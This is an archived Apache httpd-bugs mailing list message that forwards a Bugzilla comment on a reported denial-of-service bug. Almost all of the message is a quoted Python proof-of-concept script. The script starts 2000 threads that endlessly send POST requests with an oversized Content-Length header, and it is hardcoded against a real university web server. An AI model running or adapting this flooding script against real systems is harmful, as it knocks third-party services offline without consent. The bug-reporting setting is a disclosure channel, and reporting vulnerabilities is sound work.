httpd-bugs mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From bugzi...@apache.org
Subject [Bug 60860] Apache httpd Dos Bug
Date Tue, 14 Mar 2017 09:05:03 GMT
https://bz.apache.org/bugzilla/show_bug.cgi?id=60860

--- Comment #1 from buch0 <buch0b2@gmail.com> ---
Comment on attachment 34819
  --> https://bz.apache.org/bugzilla/attachment.cgi?id=34819
poc

> #! /usr/bin/env python
> 
>import httplib,urllib
>import time
>import sys
>import threading
>import subprocess
>import random
> 
>aurl = ""
>aport = 0
>
>def send_request(method, url, path):
>    try:
>
>        c = httplib.HTTPConnection(url, aport)
>        
>        buf = ""
>        for num in range(2000):
>            buf += "AAAAA"
>        
>        headers = {'Content-Length': str(0xFFFFFFFFFFF),'Content-Type': 'text/html','User-Agent':
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.52
Safari/537.36'}
>
>        params = urllib.urlencode({'bitch': buf})
>        c.request(method,path,body=params,headers=headers);
>
>        print c.getresponse().read()
>        c.close()
>    except Exception, e:
>        print "fuck"
>        pass
>
>def requests():
>            while True:
>             send_request("POST", aurl, "")
>         
>aurl = "www.kagawa-u.ac.jp"
>aport = 80
>
>for num in range(2000):
> threading.Thread(target=requests).start()

-- 
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: bugs-unsubscribe@httpd.apache.org
For additional commands, e-mail: bugs-help@httpd.apache.org


Mime
View raw message